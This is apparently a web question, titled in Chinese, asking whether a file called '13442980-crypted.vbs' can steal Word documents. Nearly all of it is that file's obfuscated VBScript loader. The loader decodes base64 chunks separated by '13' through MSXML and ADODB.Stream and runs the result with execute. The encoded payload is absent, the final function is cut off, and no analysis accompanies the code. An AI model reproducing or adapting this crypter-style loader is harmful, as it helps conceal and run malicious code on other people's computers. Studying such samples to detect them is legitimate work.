13442980-crypted.vbs病毒能否窃取word?

zJguCUBkrRQgsGUsRmFg = "13"
zJguCUBkrR=SPLIT(zJguCUBkrR, zJguCUBkrRQgsGUsRmFg)
dim zJguCUBkrRQgsGUsRmFgVYCCGGwtkG
zJguCUBkrRQgsGUsRmFgVYCCGGwtkG = 0
dim zJguCUBkrRQgsGU
zJguCUBkrRQgsGU = UBOUND(zJguCUBkrR) - 1
FOR zJguCUBkrRQgsGUsRmFgVYCCG = zJguCUBkrRQgsGUsRmFgVYCCGGwtkG TO zJguCUBkrRQgsGU
dim zJguCUBkrRQgsGUsRmFgVYCCGGwtkGBwJzk
zJguCUBkrRQgsGUsRmFgVYCCGGwtkGBwJzk = zJguCUBkrRQgsGUsRmFgVYCCGGwtkGBwJzkPUUFpAHsxdGsXgGsSYwYBhFOWzhZLruxSwexXIqHpGfyZnznEoIynBJ(zJguCUBkrR(zJguCUBkrRQgsGUsRmFgVYCCG))
zJguCUBkrRQgsGUsRmFgVYCCGGwtkGBwJzkPUUFp = zJguCUBkrRQgsGUsRmFgVYCCGGwtkGBwJzkPUUFp & zJguCUBkrRQgsGUsRmFgVYCCGGwtkGBwJzk
NEXT
execute (zJguCUBkrRQgsGUsRmFgVYCCGGwtkGBwJzkPUUFp)
Function zJguCUBkrRQgsGUsRmFgVYCCGGwtkGBwJzkPUUFpAHsxdGsXgGsSYwYBhFOWzhZLruxSwexXIqHpGfyZnznEoIynBJ(ByVal vCode)
Dim zJguCUBkrRQ, zJguCUBkrRQg
Set zJguCUBkrRQ = CreateObject("Msxml2.DOMDocument.3.0")
Set zJguCUBkrRQg = zJguCUBkrRQ.CreateElement("base64")
zJguCUBkrRQg.dataType = "bin.base64"
zJguCUBkrRQg.text = vCode
zJguCUBkrRQgsGUsRmFgVYCCGGwtkGBwJzkPUUFpAHsxdGsXgGsSYwYBhFOWzhZLruxSwexXIqHpGfyZnznEoIynBJ = zJguCUBkrRQgs(zJguCUBkrRQg.nodeTypedValue)
Set zJguCUBkrRQg = Nothing
Set zJguCUBkrRQ = Nothing
End Function
Function zJguCUBkrRQgs(Binary)
Const zJguCUBkrRQgsGUsRmFgVYCCGGwtkGBwJzkPUUFpAHsxdGsXgG = 2
Const zJguCUBkrRQgsGUsRmFgVYCCGGwtkGBwJzkPUUFpAHsxdGsXgGsSYwYBhFOWzhZLruxSwe = 1
Dim zJguCUBkrRQgsGUsRmF
Set zJguCUBkrRQgsGUsRmF = CreateObject("ADODB.Stream")
zJguCUBkrRQgsGUsRmF.Type = zJguCUBkrRQgsGUsRmFgVYCCGGwtkGBwJzkPUUFpAHsxdGsXgGsSYwYBhFOWzhZLruxSwe
zJguCUBkrRQgsGUsRmF.Open
zJguCUBkrRQgsGUsRmF.Write Binary
zJguCUBkrRQgsGUsRmF.Position = 0
zJguCUBkrRQgsGUsRmF.Type = zJguCUBkrRQgsGUsRmFgVYCCGGwtkGBwJzkPUUFpAHsxdGsXgG
zJguCUBkrRQgsGUsRmF.CharSet = "us-ascii"
zJguCUBkrRQgs = zJguCUBkrRQgsGUsRmF.ReadText
Set zJguCUBkrRQgsGUsRmF = Nothing